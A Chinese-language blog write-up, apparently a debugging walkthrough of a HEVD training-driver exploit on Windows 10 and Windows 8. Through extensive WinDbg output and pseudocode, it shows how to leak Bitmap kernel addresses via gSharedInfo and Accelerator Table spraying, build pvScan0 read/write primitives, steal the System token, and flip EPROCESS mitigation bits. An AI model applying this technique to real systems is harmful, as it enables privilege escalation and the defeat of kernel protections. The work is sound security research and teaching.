在之前版本的Win10中，可以通过一个特殊的结构GdiSharedHandleTable来获得Bitmap的内核对象地址。这个GdiSharedHandleTable是PEB结构体中的一个结构。而里面存放的内容是一个GDICELL64结构。关于在老版本Win10中利用GdiSharedHandleTable如何来获得Bitmap并进行攻击我不再详述，在文章末尾，我会给出一篇非常棒的技术文章，里面详述了这种攻击方式。
在新版本Win10中，fix了这种方法，GdiSharedHandleTable获得的地址，不再是一个有效的pkernelAddress，也就是说，即使我们通过这种方式和createbitmap的handle获得了一个地址，然而并不是真正的pkernelAddress，当然我们的主角pvScan0也不正确。
kd> dt @$PEB nt!_PEB GdiSharedHandleTable //
+0x0f8 GdiSharedHandleTable : 0x00000000`00e00000 Void
kd> db 0x00000000`00e00000+0x0b69*0x18 L8
00000000`00e111d8 69 0b c2 ff ff ff ff ff i.......
kd> dd ffffffffffc20b69
ffffffff`ffc20b69 ???????? ???????? ???????? ????????
kd> dd ffff9f9683d01000
ffff9f96`83d01000 270501ac 00000000 00000000 00000000
ffff9f96`83d01010 00000000 00000000 00000000 00000000
可以看到，在通过GdiSharedHandleTable获得的Bitmap的内核地址是一个为开辟的内核空间和真正的Bitmap内核地址有所区别。这时候，gSharedInfo出现了，这个gSharedInfo是一个非常经典的结构，在很多kernel
exploitation都出现过，它其中包含着内核结构，我们可以通过它获得内核表，然后通过计算偏移得到内核对象地址。
解决这种问题的方法就是用AcceleratorTable加速键表，我之前的内核漏洞调试笔记之二调试的CVE-2015-2546就是用的加速键表，制造一个稳定的内存空洞，连续申请释放内存，直到两次申请释放的AccleratorTable的内核句柄相同，则再申请相同大小的bitmap，这样就能获得GDI对象了，再通过这个对象的phead就是pkernelAddress。
如何获得呢？在这个handleentry里有一个aheList，其中包含了一个phead对象，它就是指向pkerneladdress的。来看一下gSharedInfo的地址，这里我也不知道为什么，感觉可能是Win10很多win32k的结构体不透明化了，看不到tagSharedInfo的结构体，感觉像被隐藏了。
kd> ?user32!gsharedinfo //获得gsharedinfo的地址值
Evaluate expression: 140725741012608 = 00007ffd`43cdc680
获得了gSharedInfo的地址之后，我们可以通过Accelerator
Table的handle，获取到gSharedInfo结构中的aheList对应的内核句柄值。
kd> dd 7ffd43cdc680 //查看地址值的内容
00007ffd`43cdc680 01360700 00000000 011e0000 00000000
kd> dt win32k!tagSHAREDINFO //由于调试时tagSHAREDINFO不透明，这里只能
//从网上拷贝一个方便说明
+0x000 psi : tagSERVERINFO
+0x008 aheList : _HANDLEENTRY
kd> dq 7ffd43cdc680+0x8 L1 //+0x8位置的HANDLEENTRY就是我们要的表
00007ffd`43cdc688 00000000`011e0000
这样就能得到句柄实际内核地址的表了，也就是指向GDI对象的表，这里就要计算对应的偏移了，计算方法其实和之前GdiSharedHandleTable很像，那个算对应GDICELL64地址的计算方法是：
GdiSharedHandleTable+(handle & 0xffff)*sizeof(GDICELL64)
这里就用_HANDLETABLE_ENTRY + (Accel & 0xffff)*sizeof（Accel）算出地址，这里Accel的值是：
kd> r eax
eax=1700b9
kd> p
0033:00007ff6`956112d1 488d1449 lea rdx,[rcx+rcx*2]//计算handle的值
kd> p
0033:00007ff6`956112d5 488bc8 mov rcx,rax
kd> r rdx
rdx=000000000000022b// handle的值为22b
kd> dd 11e0000+22b*8 L1 // 11e0000是刚才获得的HANDLENTRY，计算出偏移
// 指向的就是GDI对象
00000000`011e1158 81be7000 ffffbad3
紧接着调用DestroyAcceleratorTable释放这个加速键表，可以看到对应句柄内核指针的值也被释放了。注意这里申请的Accelerator
Table的大小是700，同样如果制造出一个稳定的hole之后，申请bitmap的大小也是700。
kd> p
0033:00007ff6`956112d8 488b5cd500 mov rbx,qword ptr [rbp+rdx*8]
kd> p
0033:00007ff6`956112dd ff15451f0000 call qword ptr [00007ff6`95613228]
kd> p
0033:00007ff6`956112e3 babc020000 mov edx,2BCh
kd> dd 11e0000+22b*8// 对应索引的位置GDI对象被释放
00000000`011e1158 0000042f 00000000
可以看到，对应位置存放的GDI对象也释放掉了，再次通过Create申请Accelerator Table。
0033:00007ff6`956112eb ff152f1f0000 call qword ptr [00007ff6`95613220]
kd> p//返回值eax
0033:00007ff6`956112f1 0fb7c8 movzx ecx,ax
kd> r rax
rax=00000000001800b9
kd> p
0033:00007ff6`956112f4 488d1449 lea rdx,[rcx+rcx*2]
kd> p
0033:00007ff6`956112f8 488bc8 mov rcx,rax
kd> r rdx//计算获得handle，和上一次申请的handle值一样
rdx=000000000000022b
kd> dd 11e0000+22b*8//查看pkernelAddress
00000000`011e1158 81be7000 ffffbad3
kd> dd ffffbad381be7000 l90//对应位置存放的值，+0x0位置就是phead
//GdiSharedHandleTable被fix，可以用这个方法
ffffbad3`81be7000 001800b9 00000000 00000000 00000000
ffffbad3`81be7010 00000000 00000000 000002bc 00000000
句柄虽然改变但是对应索引位置在shared info handle
entry的值仍然是相同的，这样，再次在相同位置申请bitmap，首先释放，来看下pkernelAddress的值：
kd> p
0033:00007ff6`95611311 ff15111f0000 call qword ptr [00007ff6`95613228]
kd> p
0033:00007ff6`95611317 33c9 xor ecx,ecx
kd> dd ffffbad381be7000//查看GDI对象的内容也被释放
ffffbad3`81be7000 ???????? ???????? ???????? ????????
ffffbad3`81be7010 ???????? ???????? ???????? ????????
ffffbad3`81be7020 ???????? ???????? ???????? ????????
指向的空间也被释放了，随后通过CreateBitmap申请bitmap，大小同样是700，来占用Accelerator制造的稳定内存空洞。调用CreateBitmap之后占用了内存空洞。这样，我们直接找到ffffbad381be7000这个GDI对象。
kd> p//调用CreateBitmap创建Bitmap
0033:00007ff6`95611345 ff15dd1c0000 call qword ptr [00007ff6`95613028]
kd> p//创建成功返回
0033:00007ff6`9561134b 488906 mov qword ptr [rsi],rax
kd> dd ffffbad381be7000//查看原来Accelerator Table的内核地址位置的值
ffffbad3`81be7000 96050bd0 ffffffff 00000000 00000000
可以看到，我们成功获得了Bitmap的pkernelAddress，就是0xffffffff96050bd0，这样，我们就成功在KASLR和fix
GdiSharedHandleTable下，完成了bitmap pkernelAddress的获取。
**
**
**SetBitmap/GetBtimap和pvScan0**
利用gSharedInfo获取aheList，从而得到Accelerator
Table在gshareInfo中的GDI对象从而获得内核地址，利用Accelerator
Table制造稳定的内存空洞，最后绕过KASLR和获取Bitmap的pkernelAddress的目的就是获得pvScan0这个结构，这个是Bitmap之所以成为data
attack的核心。
这里我要提一下，在调试过程中，我们需要用__asm int 3来下断点，但是在64位下VS不支持内联汇编，因此我们在项目中创建一个.asm文件，实现int
3功能，再将其编译，在项目主文件中用Int_3()来下软中断（详见我的源码），这样我们在SetBitmap下断点，首先命中GDI32!SetBitmapBitsStub：
kd> p
GDI32!SetBitmapBitsStub+0x1c:
0033:00007fff`bd5b44ac 488bd9 mov rbx,rcx
kd> p//调用GDI32的IsTextOutAPresent -> IsSetWorldTransformImplPresent函数
GDI32!SetBitmapBitsStub+0x1f:
0033:00007fff`bd5b44af e878b50000 call GDI32!IsTextOutAPresent (00007fff`bd5bfa2c)
随后会到达call IsTextOutAPresent函数调用，这个函数在GDI32的实现是IsSetWorldTransformmImplPresent。
char IsSetWorldTransformImplPresent()
{
char result; // al@2
char v1; // [sp+30h] [bp+8h]@5
if ( dword_18002E670 == 1 )//dword_18002E670检查是否为1
{
result = dword_18002E670;
}
else if ( dword_18002E670 == 2 || (v1 = 0, ApiSetQueryApiSetPresence((__int64)L"LN", (__int64)&v1) < 0) )
{
result = 0;
}
else
{
result = v1;
dword_18002E670 = 2 - (v1 != 0);
}
return result;
}
这个函数主要是对dword_18002E670这个值进行判断，这个值是hmod ext ms win gdi internal desktop
l1.1.0.dll+0x8位置的一个结构体变量，若为1则直接返回。
kd> p
GDI32!IsUpdateColorsPresent+0x4://获取dll+0x8位置的值
0033:00007fff`bd5bfa30 8b0d3aec0100 mov ecx,dword ptr [GDI32!_hmod__ext_ms_win_gdi_internal_desktop_l1_1_0_dll+0x8 (00007fff`bd5de670)]
kd> dd 00007fff`bd5de670//这个位置的值为1，后面是dll函数偏移
00007fff`bd5de670 00000001 00000000 00000000 00000000
00007fff`bd5de680 ba17ba20 00007fff ba174230 00007fff
00007fff`bd5de690 ba1765d0 00007fff ba1eafa0 00007fff
kd> p
GDI32!IsUpdateColorsPresent+0xa://将这个值和1作比较
0033:00007fff`bd5bfa36 83f901 cmp ecx,1
kd> r ecx
ecx=1
这个可能是判断ext_ms_win_gdi_internal_desktop_l1.1.0.dll的加载情况，_imp_SetBitMapBits就链在这个dll中，随后会跳转。到zwGdiSetBitmapBits中。
kd> p //调用_imp_SetBitmapBits函数
GDI32!SetBitmapBitsStub+0x30:
0033:00007fff`bd5b44c0 ff15c2be0200 call qword ptr [GDI32!_imp_SetBitmapBits (00007fff`bd5e0388)]
kd> t//跳转到NtGdiSetBitmapBits
gdi32full!SetBitmapBits:
0033:00007fff`ba17bcf0 48ff2509290900 jmp qword ptr [gdi32full!_imp_NtGdiSetBitmapBits (00007fff`ba20e600)]
kd> p
win32u!ZwGdiSetBitmapBits:
0033:00007fff`ba2d26f0 4c8bd1 mov r10,rcx
//随后会进入ZwGdiSetBitmap
.text:0000000180003330 public ZwGdiSetBitmapDimension
.text:0000000180003330 ZwGdiSetBitmapDimension proc near ; DATA XREF: .rdata:000000018000A544_x0019_o
.text:0000000180003330 ; .rdata:off_18000C608_x0019_o ...
.text:0000000180003330 mov r10, rcx
.text:0000000180003333 mov eax, 1118h
.text:0000000180003338 test byte ptr ds:7FFE0308h, 1
.text:0000000180003340 jnz short loc_180003345
.text:0000000180003342 syscall
.text:0000000180003344 retn
syscall是AMD
CPU下的sysenter，以此进入内核层，由于64位下没有nt!KiFastCallEntry，而改用的是nt!KiSystemCall64，在64位系统下启用了四个新的MSR寄存器，有不同的作用，其中MSR_LSTAR保存的是rip的相关信息，可以通过rdmsr
c0000082的方法查看到syscall跳转地址。这个地址正是nt!KiSystemCall64的入口地址。
kd> rdmsr c0000082
msr[c0000082] = fffff801`7cb740c0
nt!KiSystemCall64:
0033:fffff801`7cb740c0 0f01f8 swapgs
0033:fffff801`7cb740c3 654889242510000000 mov qword ptr gs:[10h],rsp
到此，我们进入SetBitmap的内核态，之所以pvScan0这么重要，是因为SetBitmap会对pvScan0指向的内容写数据，GetBitmap会获取pvScan0指向的内容。这样，我们可以设置一个Manager
Bitmap（以下称为M）和一个Work
Bitmap（以下称为W），将M的pvScan0修改成W的pvScan0地址，这样每次就能用在M上调用SetBitmap将W的pvScan0内容修改成我们想要读或者写的地址，再调用Get/Set
Bitmap来向指定地址读取/写入数据了。这么说有点乱，来看一下整个过程。
通过AcceleratorTable制造内存空洞占位获取Bitmap的pkernelAddress之后，可以获取到pvscan0的值，其中M存放W的pvscan0所存放的地址，而W的pvscan0用于最后写入相关的内容，这样我们调用setbitmapbits函数的时候，会将M的pvscan0里存放地址指向的值修改为要写入的地址。
kd> dq ffffbad383ae9050 L1 // M的pvScan0，现在指向W，这样每次修改，相当 //于修改W的pvScan0
ffffbad3`83ac8050 ffffbad3`83aeb050
kd> dq ffffbad383aeb050 L1//W的pvScan0，所在地址值就是M的pvScan0值
ffffbad3`83ac8050 ffffe28d`12762af0//要修改的就是这个值，向这个值的内容
//读取/写入数据
这里就会将ffffbad383aeb050中的值改写，因此在这里下内存写入断点。
kd> ba w1 ffffbad383aeb050//向W的pvScan0下内存写入断点
kd> p
Breakpoint 0 hit
win32kfull!memmove+0x1cf://中断在win32kfull!memmove函数中
ffffbab6`0b940f0f 75ef jne win32kfull!memmove+0x1c0 (ffffbab6`0b940f00)
kd> bl
0 e ffffbad383aeb050 w 1 0001 (0001)
kd> kb
RetAddr:ArgstoChild : Call Site
ffffbab6`0b88405c : 00000000`00fff8a0 00000000`00000000 00000000`00000a9a ffffbab6`0bbbf1da : win32kfull!memmove+0x1cc
ffffbab6`0b883e1a : ffffbad3`83ae9000 00000000`00000000 ffffffff`00000008 fffff801`00000704 : win32kfull!bDoGetSetBitmapBits+0x168
00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : win32kfull!GreSetBitmapBits+0x17a
kd> dq ffffbad383adc050 L1 //这里会写入新的pvScan0，这个值是当前进程的 //token地址
ffffbad3`83aeb050 ffffe28d`12762b58
kd> !process 0 0 //查看当前进程
PROCESS ffffe28d12762800
SessionId: 1 Cid: 10cc Peb: 011cb000 ParentCid: 1124
DirBase: 48d5b000 ObjectTable: ffffa709d16d1640 HandleCount: <Data Not Accessible>
Image: Stop_by_win10.exe
kd> dt nt!_EPROCESS Token ffffe28d12762800
+0x358 Token : _EX_FAST_REF
kd> dq ffffe28d12762800+358 L1//看看token值，就是pvScan0的值
ffffe28d`12762b58 ffffa709`d1903996
在Win10中，绝大多数的win32k.sys实现都在win32full里完成，这里利用M的pvScan0完成了对W的pvScan0值的修改，使之指向了当前进程的Token，接下来只需要调用GetBitmap/SetBitmap通过W的pvScan0，就可以完成对Token的读取和修改，从而完成提权。
kd> !process 0 4 //获取System _EPROCESS结构
**** NT ACTIVE PROCESS DUMP ****
PROCESS ffffe28d0f662040
SessionId: none Cid: 0004 Peb: 00000000 ParentCid: 0000
DirBase: 001aa000 ObjectTable: ffffa709c88032c0 HandleCount: <Data Not Accessible>
Image: System
kd> dq ffffe28d0f662040+358 L1 //得到System Token值
ffffe28d`0f662398 ffffa709`c88158ad
kd> p//调用setBitmap将这个值写入当前进程的地址
0033:00007ff7`9dd2217f 488bce mov rcx,rsi
kd> g
Break instruction exception - code 80000003 (first chance)
0033:00007ff7`9dd222b0 cc int 3
kd> !process //当前进程的_EPROCESS
PROCESS ffffe28d12cb2080
SessionId: 1 Cid: 0b48 Peb: 0117d000 ParentCid: 1124
DirBase: 320b6000 ObjectTable: ffffa709d5f84500 HandleCount: <Data Not Accessible>
Image: Stop_by_win10.exe
kd> dq ffffe28d12cb2080+358 L1 //利用SetBitmap替换后，当前进程Token变成了 //System Token，提权完成
ffffe28d`12cb23d8 ffffa709`c88158ad
我和大家分享了pvScan0在Bitmap这种data
attack中的核心地位，Bitmap的pkernelAddress的获取方法和如何通过pvScan0完成攻击，接下来，我将结合偶像MJ0011的PPT，来讲一下Win10的一些坑，以及回归Win8下来看一下MJ0011的PPT中介绍的一些防护机制，和Bitmap的威力。
**被Win10吊打的日子**
在MJ0011的PPT中介绍了几种防护机制，比如禁零页，禁Win32k调用，SMEP，ExPoolWithTagNX等等。本来刚开始想在Win10下进行实验，但是发现Win10下有很多奇怪的坑。这里简单提一下几种防护机制：
1、禁零页，NtAllocateVirtualMmemory是现在常用的内核漏洞利用手法，Win8
_EPROCESS增加了一比特的Flags.VdmAllowed，当为0时禁用，当为1时可用。
2、禁Win32k，Win32k存在很多漏洞，比如UAF，我在前面两个经典内核漏洞调试的分享中都是Win32k出的问题，这里通过_EPROCESS结构增加一比特的Flags2.DisallowWin32kSystemCalls禁用调用。
3、SMEP，在内核漏洞利用中，通常是利用内核态的一些失误执行用户态申请的空间存放的shellcode，这里直接通过SMEP禁止在内核态执行用户态空间的代码。这里，我将以禁Win32k调用和禁零页来做实验，利用的就是Bitmap来修改这两个比特的值，看看能不能绕过禁用机制，首先来看一下当前进程，以及对应的两个值。
kd> !process
PROCESS ffffe28d12cb2080
SessionId: 1 Cid: 0b48 Peb: 0117d000 ParentCid: 1124
DirBase: 320b6000 ObjectTable: ffffa709d5f84500 HandleCount: <Data Not Accessible>
Image: Stop_by_win10.exe
kd> dt nt!_EPROCESS VdmAllowed ffffe28d12cb2080
+0x304 VdmAllowed : 0y0//标志位为0，禁用零页
kd> dt nt!_EPROCESS DisallowWin32kSystemCalls ffffe28d12cb2080
+0x300 DisallowWin32kSystemCalls : 0y0//标志位为1，默认不禁用Win32k
kd> dd ffffe28d12cb2080+300 L4 //查看一下Flags2和Flags的值
ffffe28d`12cb2380 0000d000 144d0c01 a1beb1e1 01d288e0
可以看到，在当前进程Win32k
API是不禁用的，也就是说，我们仍然可以直接调用Win32k的API，而NtAllocateVirtualMemory则处于禁用状态。对于Flags来说是0000d0000，Flags2来说是144d0c01，这样把它们转换成二进制，把对应比特位置换为1（这个内容可以在我的源码中看到），然后赋值给各自的Flags。
kd> r r13//获取两个Flags值，并且修改比特位之后的值
r13=a1beb1e1164d0c00
kd> r r14
r14=144d0c018000d000
kd> g//命中软中断
Break instruction exception - code 80000003 (first chance)
0033:00007ff7`9dd222b0 cc int 3
kd> g
Break instruction exception - code 80000003 (first chance)
0033:00007ff7`9dd222b0 cc int 3
kd> dd ffffe28d12cb2080+300 L4//修改后，通过SetBitmap写入偏移
ffffe28d`12cb2380 8000d000 164d0c01 a1beb1e1 01d288e0
这里我采用了Win7零页分配的方法，handle选择0xffffffffffffffff，但是发现在Win10中，会调用ObpReferenceObjectByHandleWithTag函数Check
handle，如果不是一个有效的handle，则直接返回，NTSTATUS直接报错。
kd> p
nt!MiAllocateVirtualMemory+0x7b8:
fffff801`7cee27c8 498bca mov rcx,r10
kd> p //ObpReferenceObjectByHandleWithTag check handle
nt!MiAllocateVirtualMemory+0x7bb:
fffff801`7cee27cb e8a0070100 call nt!ObpReferenceObjectByHandleWithTag (fffff801`7cef2f70)
kd> p
nt!MiAllocateVirtualMemory+0x7c0:
fffff801`7cee27d0 89442464 mov dword ptr [rsp+64h],eax
kd> r eax//没有这个handle则返回NTSTATUS
eax=c0000008
// ObpReferenceObjectByHandleWithTag 检查逻辑
if ( (BugCheckParameter1 & 0x80000000) != 0i64 )
{
if ( BugCheckParameter1 == -1i64 )//如果handle值为0xfff....ff
{
if ( v9 != PsProcessType && v9 )
{
LODWORD(v12) = -1073741788;
}
else
{
v37 = *(_QWORD *)(v8 + 184);
if ( v11 & 0xFFE00000 && a4 )
{
LODWORD(v12) = -1073741790;
}
……
}
return (unsigned int)v12; // C0000008
}
if ( BugCheckParameter1 == -2i64 )
{
}
}
这样，我们就只能修改代码通过OpenProcess获得当前进程handle，并且将VdmAllowed置1，但是发现即使NTSTATUS返回0，也就是STATUS_SUCCESS，内存状态可写，只需要memset初始化内存即可。
kd> !process
PROCESS ffffe28d12fb0080
SessionId: 1 Cid: 10b0 Peb: 00ddb000 ParentCid: 1124
DirBase: 51685000 ObjectTable: ffffa709d9138200 HandleCount: <Data Not Accessible>
Image: Stop_by_win10.exe
kd> dt nt!_EPROCESS VdmAllowed ffffe28d12fb0080 //当前VdmAllowed为1
+0x304 VdmAllowed : 0y1
kd> p
0033:00007ff7`16e7204c ff55a0 call qword ptr [rbp-60h]
kd> p
0033:00007ff7`16e7204f 0f28b424e0040000 movaps xmm6,xmmword ptr [rsp+4E0h]
kd> p
0033:00007ff7`16e72057 85c0 test eax,eax
kd> r eax//NTSTATUS返回0，也就是STATUS_SUCCESS
eax=0
kd> dd 4600000000//等待初始化的内存
00000046`00000000 ???????? ???????? ???????? ????????
00000046`00000010 ???????? ???????? ???????? ????????
同样，我们修改Win32k为1，这样就禁用了win32k调用，可以发现，在禁用后，会阻止win32k的调用，从而无法初始化cmd。关于win32k调用的逻辑后面会讲到。
**回归Win8看防护之NtAllocateVirtualMemory**
接下来我们回到Win8 x86，来看一下NtAllocateVirtualMemory的防护到底是怎样的。这里请使用文末我修改后的适用于win8
x86的代码。首先是禁用零页申请内存。我们首先在禁用零页时调试，首先进入内核态，从ntdll进入nt。
kd> p
001b:77d4f04d e803000000 call 77d4f055//调用NtAllocateVirtualMemory
kd> t
001b:77d4f055 8bd4 mov edx,esp
001b:77d4f055 8bd4 mov edx,esp
001b:77d4f057 0f34 sysenter//x86下用sysenter进入内核态
001b:77d4f059 c3 ret
在nt!NtAllocateVirtualMemory下断点跟踪，在入口处会先将Handle、BaseAddress等内容传入寄存器（用于各种检查，比如对Handle检查合法性，在之前已经提过），接下来会通过fs:[0x124]获取到_KTHRAD结构
kd> p
nt!NtAllocateVirtualMemory+0x34://获取KTHREAD结构
81a891a2 648b3d24010000 mov edi,dword ptr fs:[124h]
kd> p
nt!NtAllocateVirtualMemory+0x3b:
81a891a9 897da8 mov dword ptr [ebp-58h],edi
kd> r edi
edi=86599bc0
kd> dt nt!_KTHREAD 86599bc0
+0x000 Header : _DISPATCHER_HEADER
+0x010 SListFaultAddress : (null)
之后会将_KTHREAD+0x80偏移的值交给eax寄存器，偏移加0x80实际上就是EPROCESS结构，这个位置属于APC域，这个位置在KTHREAD+0x70的位置，而EPROCESS又保存在KAPC_STATE+0x10的位置
kd> p//edi是KTHREAD，eax的值是EPROCESS
nt!NtAllocateVirtualMemory+0x3e:
81a891ac 8b8780000000 mov eax,dword ptr [edi+80h]
kd> p
nt!NtAllocateVirtualMemory+0x44:
81a891b2 8945b0 mov dword ptr [ebp-50h],eax
kd> r eax
eax=85a44040
kd> !process
PROCESS 85a44040 SessionId: 1 Cid: 0860 Peb: 7f74d000 ParentCid: 0f08
DirBase: 3df14300 ObjectTable: 8c173740 HandleCount: <Data Not Accessible>
Image: Stop_by_win10.exe
kd> dt nt!_KTHREAD ApcState//偏移加0x70
+0x070 ApcState : _KAPC_STATE
kd> dt nt!_KAPC_STATE//偏移加0x10，一共是0x80，对应的位置是EPROCESS
+0x000 ApcListHead : [2] _LIST_ENTRY
+0x010 Process : Ptr32 _KPROCESS
接下来我们单步跟踪，到达一处判断，这里会将BaseAddress和0x10000作比较，小于则跳转到另一处判断
kd> p
nt!NtAllocateVirtualMemory+0x9b7:
81a89b25 3bd0 cmp edx,eax
kd> r edx
edx=00000060
kd> r eax
eax=00010000
kd> p
nt!NtAllocateVirtualMemory+0x9b9://如果申请地址值小于0x1000，则跳转
81a89b27 0f8257781200 jb nt! ?? ::NNGAKEGL::`string'+0x19d1a (81bb1384)
kd> p
nt! ?? ::NNGAKEGL::`string'+0x19d1a:
81bb1384 f787c400000000000001 test dword ptr [edi+0C4h],1000000h
kd> dd edi+c4 L1//edi+0C4就是Flags
85a44104 144d0c01
kd> p
nt! ?? ::NNGAKEGL::`string'+0x19d24://这里会将VdmAllowed值作比较判断
81bb138e 0f859987edff jne nt!NtAllocateVirtualMemory+0x9bf (81a89b2d)
这个值很有意思，就是_EPROCESS.Flags2的值，来看一下，而这里判断的就是Flags2中的一个比特位VdmAllowed
kd> dt nt!_EPROCESS Flags 85a44040
+0x0c4 Flags : 0x144d0c01
kd> dt nt!_EPROCESS VdmAllowed 85a44040
+0x0c4 VdmAllowed : 0y0
这里值为0，也就是禁用零页分配，因此这里分配不成功将会进入处理，返回C00000F0
kd> p
nt! ?? ::NNGAKEGL::`string'+0x19d2a:
81bb1394 bef00000c0 mov esi,0C00000F0h
kd> p
nt! ?? ::NNGAKEGL::`string'+0x19d2f:
81bb1399 e94c87edff jmp nt!NtAllocateVirtualMemory+0x97c (81a89aea)
我们来看一下NtAllocateVirtualMemory相关逻辑的伪代码。
NTSTATUS __stdcall NtAllocateVirtualMemory(HANDLE ProcessHandle, PVOID *BaseAddress, ULONG ZeroBits, PULONG AllocationSize, ULONG AllocationType, ULONG Protect)
{
v65 = ProcessHandle;
v68 = BaseAddress;
v67 = AllocationSize;
v7 = __readfsdword(292);//获取_KTHREAD结构
v76 = v7;
v78 = *(PVOID *)(v7 + 128); //获取+0x80 EPROCESS结构
……
PreviousMode[0] = *(_BYTE *)(v7 + 346);
ms_exc.registration.TryLevel = 0;
v9 = v68;//传递地址值
……
v12 = (unsigned int)*v9; //BaseAddress连续传递
v74 = v12;//再次传递
if ( v74 < 0x10000 && !(*(_DWORD *)(v14 + 196) & 0x1000000) )// 判断v74 BaseAddress是否小于10000，如果小于会认为是零页内存分配，则会判断v14+196，也就是Flags.VdmAllowed是否允许分配
{
v25 = 0xC00000F0;//如果是零页分配且禁用零页分配，则返回C00000F0
goto LABEL_145;
}
}
我们尝试使用Bitmap来修改VdmAllowed看看能不能进行零页分配，继续执行到达我们setbitmap的地方。
kd> g
Break instruction exception - code 80000003 (first chance)
001b:00021d21 cc int 3
kd> dt nt!_EPROCESS VdmAllowed 85a44040
+0x0c4 VdmAllowed : 0y1
可以看到VdmAllowed被改掉了，进入刚才的判断
kd> g
Breakpoint 1 hit
nt!NtAllocateVirtualMemory+0x9b7://判断edx小于1000
81a89b25 3bd0 cmp edx,eax
kd> r edx
edx=00000060
kd> p
nt!NtAllocateVirtualMemory+0x9b9:
81a89b27 0f8257781200 jb nt! ?? ::NNGAKEGL::`string'+0x19d1a (81bb1384)
kd> p//判断VdmAllowed为1，允许零页申请
nt! ?? ::NNGAKEGL::`string'+0x19d1a:
81bb1384 f787c400000000000001 test dword ptr [edi+0C4h],1000000h
kd> p
nt! ?? ::NNGAKEGL::`string'+0x19d24:
81bb138e 0f859987edff jne nt!NtAllocateVirtualMemory+0x9bf (81a89b2d)
kd> p
nt!NtAllocateVirtualMemory+0x9bf://跳转到正常流程，而不返回C0000F0
81a89b2d 8bc6 mov eax,esi
可以看到，绕过了刚才的判断，接下来直接执行，可以看到，NtAllocateVirtualMemory返回了STATUS_SUCCESS（图）
**回归Win8看防护之Win32k.sys**
下面我们来看一下Win32k的API禁用的情况，当然这里默认Disallow的比特位也是为0，也就是在当前进程不禁用Win32k系统调用，在PsConvertToGuiThread函数中。
kd> p
nt!PsConvertToGuiThread+0x9://获得KTHREAD结构
81b0c67f 648b3524010000 mov esi,dword ptr fs:[124h]
kd> r esi
esi=8548b040
kd> dt nt!_KTHREAD 8548b040
+0x000 Header : _DISPATCHER_HEADER
+0x010 SListFaultAddress : (null)
kd> p
nt!PsConvertToGuiThread+0x2c://ecx获得EPROCESS结构
81b0c6a2 8b8e80000000 mov ecx,dword ptr [esi+80h]
kd> p
nt!PsConvertToGuiThread+0x32://对应Flags2的偏移
81b0c6a8 f781c000000000000080 test dword ptr [ecx+0C0h],80000000h
kd> dt nt!_EPROCESS Flags2 8548b040+70
+0x0c0 Flags2 : 0x1020201
kd> dt nt!_EPROCESS DisallowWin32kSystemCalls
+0x0c0 DisallowWin32kSystemCalls : 0y0//判断Disallow比特位的值
这里DisallowWin32kSystemCalls的比特位为0，也就是允许win32k调用，这里到达一处条件判断，判断的就是这个比特位，如果为1，则会跳转返回C0000005，当前状态为0，允许执行时，会继续执行。
kd> p
nt!PsConvertToGuiThread+0x3c:
81b0c6b2 757e jne nt!PsConvertToGuiThread+0xbc (81b0c732)
kd> p
nt!PsConvertToGuiThread+0x3e:
81b0c6b4 8d55ff lea edx,[ebp-1]
接下来，我们注释掉还原的setbitmap部分，重新执行，看到Disallow比特位为1，这时候程序会进入错误处理，返回C0000022
kd> dt nt!_EPROCESS DisallowWin32kSystemCalls 866654c0
+0x0c0 DisallowWin32kSystemCalls : 0y1//对应比特位为1
kd> p
nt!PsConvertToGuiThread+0x32:
81b0c6a8 f781c000000000000080 test dword ptr [ecx+0C0h],80000000h
//判断Flags2.DisallowedWin32kSystemCalls
kd> p
nt!PsConvertToGuiThread+0x3c:
81b0c6b2 757e jne nt!PsConvertToGuiThread+0xbc (81b0c732)
kd> p
nt!PsConvertToGuiThread+0xbc:
81b0c732 b8220000c0 mov eax,0C0000022h //进入错误判断，返回C0000022
来看下这段代码逻辑。
signed int __stdcall PsConvertToGuiThread()
{
v0 = __readfsdword(292);//获取_KTHREAD结构体
if ( *(_BYTE *)(v0 + 346) )//判断_KTHREAD结构体的Previous Mode
{
if ( *(int **)(v0 + 60) == &KeServiceDescriptorTable )//检查是否是win32的线程
{
v1 = *(_DWORD *)(v0 + 128);
if ( *(_DWORD *)(v1 + 192) & 0x80000000 )//判断DisallowedWin32kSystemCalls
{
result = 0xC000022;//返回C000022 STATUS_ACCESS_DENIED
}
整个Win32k的检查过程是这样的，KiFastCallEntry -> KiEndUnexpectRange ->
PsCovertToGUIThread。这个检查过程的依据是SSDT，系统调度表，当调用不在SSDT表时，也就是第一次调用Win32k System
Call的时候，会检查win32k是否允许调用。如下代码逻辑：
.text:00511652 loc_511652: ; CODE XREF: _KiEndUnexpectedRange+15j
.text:00511652 ; _KiSystemService+8Aj
.text:00511652 mov edi, eax ;eax = SSDTIndex
.text:00511654 shr edi, 8;eax/256
.text:00511657 and edi, 10h;//SSDT or SSDTShadow
.text:0051165A mov ecx, edi
.text:0051165C add edi, [esi+3Ch];//检查_KTHREAD->ServiceTable
//kd> dt nt!_KTHREAD ServiceTable
//+0x03c ServiceTable : Ptr32 Void
.text:0051165F mov ebx, eax
.text:00511661 and eax, 0FFFh
.text:00511666 cmp eax, [edi+8];//检查当前系统调用号
//和ServiceTable中的调用号，确定是不是在SSDT
.text:00511669 jnb _KiEndUnexpectedRange//如果不在，则跳转
在KiEndUnexpectedRange中会通过PsConvertToGuiThread来Check状态，在这里会检查win32k系统调用的情况，如果Flags2.DisAllowedWin32kSystemCalls为1，则禁用状态，返回C000022
，也就是STATUS_ACCESS_DENIED
.text:00511384 _KiEndUnexpectedRange proc near ; CODE XREF: _KiSystemService+19B_x0019_j
.text:00511384 cmp ecx, 10h
.text:00511387 jnz short loc_5113C3
.text:00511389 push edx
.text:0051138A push ebx//系统调用号
.text:0051138B call _PsConvertToGuiThread@0 ; PsConvertToGuiThread()
默认是不启用的，则能成功打开cmd。
我们通过setbitmap可以将其改为启用，这样PsConvertToGuiThread就会返回C000022，则后续会造成调用CreateProcess中由于禁用win32k.sys导致程序加载失败。
其实整个HEVD的这个exploit调试还是很有趣的，Bitmap也可以修改kernel
Address达到一些比较巧妙的效果，当然，如果修改的地址有问题，则会直接BSOD，我就多次发生这样的情况，快照保存了几十个。文中有一些疑问和思考不够深入的地方请师傅们多多批评指正，谢谢大家！
**超级好文：**<https://www.coresecurity.com/system/files/publications/2016/10/Abusing-GDI-Reloaded-ekoparty-2016_0.pdf>
